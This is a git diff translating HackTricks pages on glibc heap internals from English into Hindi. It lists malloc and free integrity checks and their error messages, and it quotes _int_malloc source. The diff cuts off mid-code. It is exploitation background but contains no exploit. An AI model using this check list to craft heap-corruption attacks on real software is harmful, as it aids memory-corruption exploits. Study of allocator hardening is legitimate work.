`malloc(): mismatching next->prev_size (unsorted)` - - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - - Error message: `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's fd should be pointing always to the arena struct. - - If the next chunk isn't indicating that the previous is in use: - - Error message: `malloc(): invalid next->prev_inuse (unsorted)` - - If `fwd->bk_nextsize->fd_nextsize != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (nextsize)` - - If `fwd->bk->fd != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (bk)` -- **Checks during large bin (by index) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks` -- **Checks during large bin (next bigger) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks2` -- **Checks during Top chunk use:** - - `chunksize(av->top) > av->system_mem`: - - Error message: `malloc(): corrupted top size` +- **फास्ट बिन खोज के दौरान चेक:** +- यदि चंक गलत संरेखित है: +- त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected 2` +- यदि फॉरवर्ड चंक गलत संरेखित है: +- त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected` +- यदि लौटाया गया चंक उसका इंडेक्स के कारण सही आकार नहीं है: +- त्रुटि संदेश: `malloc(): memory corruption (fast)` +- यदि tcache को भरने के लिए उपयोग किया गया कोई चंक गलत संरेखित है: +- त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected 3` +- **छोटे बिन खोज के दौरान चेक:** +- यदि `victim->bk->fd != victim`: +- त्रुटि संदेश: `malloc(): smallbin double linked list corrupted` +- **कंसोलिडेट के दौरान चेक** प्रत्येक फास्ट बिन चंक के लिए: +- यदि चंक गलत संरेखित है: +- त्रुटि संदेश: `malloc_consolidate(): unaligned fastbin chunk detected` +- यदि चंक का आकार उस आकार से भिन्न है जो इसे होना चाहिए: +- त्रुटि संदेश: `malloc_consolidate(): invalid chunk size` +- यदि पिछले चंक का उपयोग नहीं हो रहा है और पिछले चंक का आकार `prev_chunk` द्वारा निर्दिष्ट आकार से भिन्न है: +- त्रुटि संदेश: `corrupted size vs. prev_size in fastbins` +- **अनसॉर्टेड बिन खोज के दौरान चेक:** +- यदि चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): +- त्रुटि संदेश: `malloc(): invalid size (unsorted)` +- यदि अगले चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): +- त्रुटि संदेश: `malloc(): invalid next size (unsorted)` +- यदि अगले चंक द्वारा निर्दिष्ट पिछले आकार चंक के आकार से भिन्न है: +- त्रुटि संदेश: `malloc(): mismatching next->prev_size (unsorted)` +- यदि `victim->bck->fd == victim` या `victim->fd == av (arena)` नहीं है: +- त्रुटि संदेश: `malloc(): unsorted double linked list corrupted` +- चूंकि हम हमेशा अंतिम चंक की जांच कर रहे हैं, इसका fd हमेशा arena संरचना की ओर इशारा करना चाहिए। +- यदि अगले चंक यह नहीं बता रहा है कि पिछले का उपयोग हो रहा है: +- त्रुटि संदेश: `malloc(): invalid next->prev_inuse (unsorted)` +- यदि `fwd->bk_nextsize->fd_nextsize != fwd`: +- त्रुटि संदेश: `malloc(): largebin double linked list corrupted (nextsize)` +- यदि `fwd->bk->fd != fwd`: +- त्रुटि संदेश: `malloc(): largebin double linked list corrupted (bk)` +- **लार्ज बिन (इंडेक्स द्वारा) खोज के दौरान चेक:** +- `bck->fd-> bk != bck`: +- त्रुटि संदेश: `malloc(): corrupted unsorted chunks` +- **लार्ज बिन (अगले बड़े) खोज के दौरान चेक:** +- `bck->fd-> bk != bck`: +- त्रुटि संदेश: `malloc(): corrupted unsorted chunks2` +- **टॉप चंक उपयोग के दौरान चेक:** +- `chunksize(av->top) > av->system_mem`: +- त्रुटि संदेश: `malloc(): corrupted top size` ## `tcache_get_n` -- **Checks in `tcache_get_n`:** - - If chunk is misaligned: - - Error message: `malloc(): unaligned tcache chunk detected` +- **`tcache_get_n` में चेक:** +- यदि चंक गलत संरेखित है: +- त्रुटि संदेश: `malloc(): unaligned tcache chunk detected` ## `tcache_thread_shutdown` -- **Checks in `tcache_thread_shutdown`:** - - If chunk is misaligned: - - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` +- **`tcache_thread_shutdown` में चेक:** +- यदि चंक गलत संरेखित है: +- त्रुटि संदेश: `tcache_thread_shutdown(): unaligned tcache chunk detected` ## `__libc_realloc` -- **Checks in `__libc_realloc`:** - - If old pointer is misaligned or the size was incorrect: - - Error message: `realloc(): invalid pointer` +- **`__libc_realloc` में चेक:** +- यदि पुराना पॉइंटर गलत संरेखित है या आकार गलत था: +- त्रुटि संदेश: `realloc(): invalid pointer` ## `_int_free` -For more info check: +अधिक जानकारी के लिए देखें: {{#ref}} free.md {{#endref}} -- **Checks during the start of `_int_free`:** - - Pointer is aligned: - - Error message: `free(): invalid pointer` - - Size larger than `MINSIZE` and size also aligned: - - Error message: `free(): invalid size` -- **Checks in `_int_free` tcache:** - - If there are more entries than `mp_.tcache_count`: - - Error message: `free(): too many chunks detected in tcache` - - If the entry is not aligned: - - Error message: `free(): unaligned chunk detected in tcache 2` - - If the freed chunk was already freed and is present as chunk in the tcache: - - Error message: `free(): double free detected in tcache 2` -- **Checks in `_int_free` fast bin:** - - If the size of the chunk is invalid (too big or small) trigger: - - Error message: `free(): invalid next size (fast)` - - If the added chunk was already the top of the fast bin: - - Error message: `double free or corruption (fasttop)` - - If the size of the chunk at the top has a different size of the chunk we are adding: - - Error message: `invalid fastbin entry (free)` +- **`_int_free` की शुरुआत में चेक:** +- पॉइंटर संरेखित है: +- त्रुटि संदेश: `free(): invalid pointer` +- आकार `MINSIZE` से बड़ा और आकार भी संरेखित है: +- त्रुटि संदेश: `free(): invalid size` +- **`_int_free` tcache में चेक:** +- यदि `mp_.tcache_count` से अधिक प्रविष्टियाँ हैं: +- त्रुटि संदेश: `free(): too many chunks detected in tcache` +- यदि प्रविष्टि संरेखित नहीं है: +- त्रुटि संदेश: `free(): unaligned chunk detected in tcache 2` +- यदि मुक्त चंक पहले से ही मुक्त किया गया था और tcache में चंक के रूप में मौजूद है: +- त्रुटि संदेश: `free(): double free detected in tcache 2` +- **`_int_free` फास्ट बिन में चेक:** +- यदि चंक का आकार अमान्य है (बहुत बड़ा या छोटा) ट्रिगर: +- त्रुटि संदेश: `free(): invalid next size (fast)` +- यदि जोड़ा गया चंक पहले से ही फास्ट बिन का शीर्ष था: +- त्रुटि संदेश: `double free or corruption (fasttop)` +- यदि शीर्ष पर चंक का आकार उस चंक के आकार से भिन्न है जिसे हम जोड़ रहे हैं: +- त्रुटि संदेश: `invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -- **Checks in `_int_free_merge_chunk`:** - - If the chunk is the top chunk: - - Error message: `double free or corruption (top)` - - If the next chunk is outside of the boundaries of the arena: - - Error message: `double free or corruption (out)` - - If the chunk is not marked as used (in the prev_inuse from the following chunk): - - Error message: `double free or corruption (!prev)` - - If the next chunk has a too little size or too big: - - Error message: `free(): invalid next size (normal)` - - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - - Error message: `corrupted size vs. prev_size while consolidating` +- **`_int_free_merge_chunk` में चेक:** +- यदि चंक शीर्ष चंक है: +- त्रुटि संदेश: `double free or corruption (top)` +- यदि अगला चंक एरेना की सीमाओं के बाहर है: +- त्रुटि संदेश: `double free or corruption (out)` +- यदि चंक को उपयोग के रूप में चिह्नित नहीं किया गया है (अगले चंक के prev_inuse में): +- त्रुटि संदेश: `double free or corruption (!prev)` +- यदि अगले चंक का आकार बहुत छोटा या बहुत बड़ा है: +- त्रुटि संदेश: `free(): invalid next size (normal)` +- यदि पिछले चंक का उपयोग नहीं हो रहा है, तो यह कंसोलिडेट करने की कोशिश करेगा। लेकिन, यदि `prev_size` पिछले चंक में निर्दिष्ट आकार से भिन्न है: +- त्रुटि संदेश: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -- **Checks in `_int_free_create_chunk`:** - - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - - Error message: `free(): corrupted unsorted chunks` +- **`_int_free_create_chunk` में चेक:** +- अनसॉर्टेड बिन में चंक जोड़ते समय, जांचें कि `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: +- त्रुटि संदेश: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` -- **Checks in `do_check_malloc_state`:** - - If misaligned fast bin chunk: - - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` +- **`do_check_malloc_state` में चेक:** +- यदि गलत संरेखित फास्ट बिन चंक: +- त्रुटि संदेश: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -- **Checks in `malloc_consolidate`:** - - If misaligned fast bin chunk: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If incorrect fast bin chunk size: - - Error message: `malloc_consolidate(): invalid chunk size` +- **`malloc_consolidate` में चेक:** +- यदि गलत संरेखित फास्ट बिन चंक: +- त्रुटि संदेश: `malloc_consolidate(): unaligned fastbin chunk detected` +- यदि गलत फास्ट बिन चंक आकार: +- त्रुटि संदेश: `malloc_consolidate(): invalid chunk size` ## `_int_realloc` -- **Checks in `_int_realloc`:** - - Size is too big or too small: - - Error message: `realloc(): invalid old size` - - Size of the next chunk is too big or too small: - - Error message: `realloc(): invalid next size` +- **`_int_realloc` में चेक:** +- आकार बहुत बड़ा या बहुत छोटा है: +- त्रुटि संदेश: `realloc(): invalid old size` +- अगले चंक का आकार बहुत बड़ा या बहुत छोटा है: +- त्रुटि संदेश: `realloc(): invalid next size` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3b2ab7085..5d56e7824 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -4,35 +4,34 @@ ## Allocation Order Summary -(No checks are explained in this summary and some case have been omitted for brevity) +(इस सारांश में कोई जांचें समझाई नहीं गई हैं और कुछ मामलों को संक्षिप्तता के लिए छोड़ दिया गया है) -1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` +1. `__libc_malloc` tcache से एक चंक प्राप्त करने की कोशिश करता है, यदि नहीं तो यह `_int_malloc` को कॉल करता है 2. `_int_malloc` : - 1. Tries to generate the arena if there isn't any - 2. If any fast bin chunk of the correct size, use it - 1. Fill tcache with other fast chunks - 3. If any small bin chunk of the correct size, use it - 1. Fill tcache with other chunks of that size - 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin - 5. Check the unsorted bin, use the first chunk with enough space - 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin - 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one) - 3. For each chunk of smaller size checked, put it in its respective small or large bin - 6. Check the large bin in the index of the requested size - 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin - 7. Check the large bins from the next indexes until the end - 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin - 8. If nothing is found in the previous bins, get a chunk from the top chunk - 9. If the top chunk wasn't big enough enlarge it with `sysmalloc` +1. यदि कोई एरेना नहीं है तो इसे उत्पन्न करने की कोशिश करता है +2. यदि सही आकार का कोई फास्ट बिन चंक है, तो इसका उपयोग करें +1. अन्य फास्ट चंक्स के साथ tcache भरें +3. यदि सही आकार का कोई स्मॉल बिन चंक है, तो इसका उपयोग करें +1. उस आकार के अन्य चंक्स के साथ tcache भरें +4. यदि अनुरोधित आकार स्मॉल बिन के लिए नहीं है, तो फास्ट बिन को अनसॉर्टेड बिन में समेकित करें +5. अनसॉर्टेड बिन की जांच करें, पर्याप्त स्थान वाले पहले चंक का उपयोग करें +1. यदि पाया गया चंक बड़ा है, तो इसे विभाजित करें ताकि एक भाग लौटाया जा सके और शेष को अनसॉर्टेड बिन में वापस जोड़ें +2. यदि कोई चंक अनुरोधित आकार के समान है, तो इसे लौटाने के बजाय tcache भरने के लिए उपयोग करें (जब तक tcache भरा न हो जाए, फिर अगला लौटाएं) +3. छोटे आकार के प्रत्येक चंक की जांच के लिए, इसे उसके संबंधित स्मॉल या बड़े बिन में रखें +6. अनुरोधित आकार के इंडेक्स में बड़े बिन की जांच करें +1. अनुरोधित आकार से बड़े पहले चंक से देखना शुरू करें, यदि कोई पाया जाता है तो इसे लौटाएं और शेष को स्मॉल बिन में जोड़ें +7. अंत तक अगले इंडेक्स से बड़े बिन की जांच करें +1. अगले बड़े इंडेक्स से किसी चंक की जांच करें, पहले पाए गए चंक को विभाजित करें ताकि इसे अनुरोधित आकार के लिए उपयोग किया जा सके और शेष को अनसॉर्टेड बिन में जोड़ें +8. यदि पिछले बिन में कुछ नहीं मिला, तो शीर्ष चंक से एक चंक प्राप्त करें +9. यदि शीर्ष चंक पर्याप्त बड़ा नहीं था तो इसे `sysmalloc` के साथ बढ़ाएं ## \_\_libc_malloc -The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread. +`malloc` फ़ंक्शन वास्तव में `__libc_malloc` को कॉल करता है। यह फ़ंक्शन tcache की जांच करेगा कि क्या इच्छित आकार का कोई उपलब्ध चंक है। यदि है तो इसका उपयोग करेगा और यदि नहीं है तो यह जांचेगा कि क्या यह एकल थ्रेड है और उस मामले में यह मुख्य एरेना में `_int_malloc` को कॉल करेगा, और यदि नहीं है तो यह थ्रेड के एरेना में `_int_malloc` को कॉल करेगा।
__libc_malloc code - ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t void * __libc_malloc (size_t bytes) { - mstate ar_ptr; - void *victim; +mstate ar_ptr; +void *victim; - _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, - "PTRDIFF_MAX is not more than half of SIZE_MAX"); +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); - if (!__malloc_initialized) - ptmalloc_init (); +if (!__malloc_initialized) +ptmalloc_init (); #if USE_TCACHE - /* int_free also calls request2size, be careful to not pad twice. */ - size_t tbytes = checked_request2size (bytes); - if (tbytes == 0) - { - __set_errno (ENOMEM); - return NULL; - } - size_t tc_idx = csize2tidx (tbytes); +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); - MAYBE_INIT_TCACHE (); +MAYBE_INIT_TCACHE (); - DIAG_PUSH_NEEDS_COMMENT; - if (tc_idx < mp_.tcache_bins - && tcache != NULL - && tcache->counts[tc_idx] > 0) - { - victim = tcache_get (tc_idx); - return tag_new_usable (victim); - } - DIAG_POP_NEEDS_COMMENT; +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; #endif - if (SINGLE_THREAD_P) - { - victim = tag_new_usable (_int_malloc (&main_arena, bytes)); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - &main_arena == arena_for_chunk (mem2chunk (victim))); - return victim; - } +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} - arena_get (ar_ptr, bytes); +arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - /* Retry with another arena only if we were able to find a usable arena - before. */ - if (!victim && ar_ptr != NULL) - { - LIBC_PROBE (memory_malloc_retry, 1, bytes); - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - victim = tag_new_usable (victim); +victim = tag_new_usable (victim); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - ar_ptr == arena_for_chunk (mem2chunk (victim))); - return victim; +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; } ``` -
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code: - +ध्यान दें कि यह हमेशा लौटाए गए पॉइंटर को `tag_new_usable` के साथ टैग करेगा, कोड से: ```c - void *tag_new_usable (void *ptr) +void *tag_new_usable (void *ptr) - Allocate a new random color and use it to color the user region of - a chunk; this may include data from the subsequent chunk's header - if tagging is sufficiently fine grained. Returns PTR suitably - recolored for accessing the memory there. +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. ``` - ## \_int_malloc -This is the function that allocates memory using the other bins and top chunk. +यह वह फ़ंक्शन है जो अन्य बिन और टॉप चंक का उपयोग करके मेमोरी आवंटित करता है। -- Start +- प्रारंभ -It starts defining some vars and getting the real size the request memory space need to have: +यह कुछ वेरिएबल्स को परिभाषित करना और अनुरोधित मेमोरी स्पेस के लिए वास्तविक आकार प्राप्त करना शुरू करता है:
-_int_malloc start - +_int_malloc प्रारंभ ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * _int_malloc (mstate av, size_t bytes) { - INTERNAL_SIZE_T nb; /* normalized request size */ - unsigned int idx; /* associated bin index */ - mbinptr bin; /* associated bin */ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ - mchunkptr victim; /* inspected/selected chunk */ - INTERNAL_SIZE_T size; /* its size */ - int victim_index; /* its bin index */ +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ - mchunkptr remainder; /* remainder from a split */ - unsigned long remainder_size; /* its size */ +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ - unsigned int block; /* bit map traverser */ - unsigned int bit; /* bit map traverser */ - unsigned int map; /* current word of binmap */ +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ - mchunkptr fwd; /* misc temp for linking */ - mchunkptr bck; /* misc temp for linking */ +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE - size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif - /* - Convert request size to internal form by adding SIZE_SZ bytes - overhead plus possibly more to obtain necessary alignment and/or - to obtain a size of at least MINSIZE, the smallest allocatable - size. Also, checked_request2size returns false for request sizes - that are so large that they wrap around zero when padded and - aligned. - */ +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ - nb = checked_request2size (bytes); - if (nb == 0) - { - __set_errno (ENOMEM); - return NULL; - } +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} ``` -
-### Arena +### एरेना -In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`: +यदि उपयोगी एरेनाएँ नहीं हैं, तो यह `mmap` से एक टुकड़ा प्राप्त करने के लिए `sysmalloc` का उपयोग करता है:
_int_malloc not arena - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from - mmap. */ - if (__glibc_unlikely (av == NULL)) - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} ``` -
### Fast Bin -If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\ -Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**. +यदि आवश्यक आकार Fast Bins आकारों के भीतर है, तो तेज बिन से एक चंक का उपयोग करने का प्रयास करें। मूल रूप से, आकार के आधार पर, यह तेज बिन अनुक्रमांक खोजेगा जहाँ मान्य चंक्स स्थित होने चाहिए, और यदि कोई हो, तो यह उनमें से एक को लौटाएगा।\ +इसके अलावा, यदि tcache सक्षम है, तो यह **उस आकार के लिए तेज बिन के साथ tcache बिन को भर देगा**। -While performing these actions, some security checks are executed in here: +इन क्रियाओं को करते समय, यहाँ कुछ सुरक्षा जांचें की जाती हैं: -- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2` -- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected` -- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)` -- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3` +- यदि चंक गलत संरेखित है: `malloc(): unaligned fastbin chunk detected 2` +- यदि आगे का चंक गलत संरेखित है: `malloc(): unaligned fastbin chunk detected` +- यदि लौटाया गया चंक का आकार सही नहीं है क्योंकि यह तेज बिन में इसके अनुक्रमांक के कारण है: `malloc(): memory corruption (fast)` +- यदि tcache को भरने के लिए उपयोग किया गया कोई चंक गलत संरेखित है: `malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If the size qualifies as a fastbin, first check corresponding bin. - This code is safe to execute even if av is not yet initialized, so we - can try it without checking, which saves some time on this fast path. - */ +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ #define REMOVE_FB(fb, victim, pp) \ - do \ - { \ - victim = pp; \ - if (victim == NULL) \ - break; \ - pp = REVEAL_PTR (victim->fd); \ - if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ - malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ - } \ - while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ - != victim); \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ - if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) - { - idx = fastbin_index (nb); - mfastbinptr *fb = &fastbin (av, idx); - mchunkptr pp; - victim = *fb; +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; - if (victim != NULL) - { - if (__glibc_unlikely (misaligned_chunk (victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (victim->fd); - else - REMOVE_FB (fb, pp, victim); - if (__glibc_likely (victim != NULL)) - { - size_t victim_idx = fastbin_index (chunksize (victim)); - if (__builtin_expect (victim_idx != idx, 0)) - malloc_printerr ("malloc(): memory corruption (fast)"); - check_remalloced_chunk (av, victim, nb); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = *fb) != NULL) - { - if (__glibc_unlikely (misaligned_chunk (tc_victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (tc_victim->fd); - else - { - REMOVE_FB (fb, pp, tc_victim); - if (__glibc_unlikely (tc_victim == NULL)) - break; - } - tcache_put (tc_victim, tc_idx); - } - } +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} ``` -
### Small Bin -As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked. +जैसा कि एक टिप्पणी में संकेत दिया गया है, छोटे बिन प्रत्येक इंडेक्स पर एक आकार रखते हैं, इसलिए यह जांचना कि क्या एक मान्य चंक उपलब्ध है, बहुत तेज है, इसलिए तेज बिन के बाद, छोटे बिन की जांच की जाती है। -The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**. +पहली जांच यह पता लगाना है कि क्या अनुरोधित आकार एक छोटे बिन के अंदर हो सकता है। उस मामले में, छोटे बिन के अंदर संबंधित **इंडेक्स** प्राप्त करें और देखें कि क्या वहाँ **कोई उपलब्ध चंक** है। -Then, a security check is performed checking: +फिर, एक सुरक्षा जांच की जाती है: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- if `victim->bk->fd = victim`। यह देखने के लिए कि दोनों चंक सही तरीके से लिंक किए गए हैं। -In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. +उस मामले में, चंक **`inuse` बिट प्राप्त करता है,** डबल लिंक्ड लिस्ट को ठीक किया जाता है ताकि यह चंक इससे गायब हो जाए (क्योंकि इसका उपयोग किया जाने वाला है), और यदि आवश्यक हो तो नॉन मेन एरीना बिट सेट किया जाता है। -Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any). +अंत में, **अनुरोधित आकार के लिए tcache इंडेक्स को** छोटे बिन के अंदर अन्य चंक्स (यदि कोई हो) के साथ भरें।
_int_malloc small bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If a small request, check regular bin. Since these "smallbins" - hold one size each, no searching within bins is necessary. - (For a large request, we need to wait until unsorted chunks are - processed to find best fit. But for small ones, fits are exact - anyway, so we can check now, which is faster.) - */ +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ - if (in_smallbin_range (nb)) - { - idx = smallbin_index (nb); - bin = bin_at (av, idx); +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); - if ((victim = last (bin)) != bin) - { - bck = victim->bk; - if (__glibc_unlikely (bck->fd != victim)) - malloc_printerr ("malloc(): smallbin double linked list corrupted"); - set_inuse_bit_at_offset (victim, nb); - bin->bk = bck; - bck->fd = bin; +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; - if (av != &main_arena) - set_non_main_arena (victim); - check_malloced_chunk (av, victim, nb); +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the 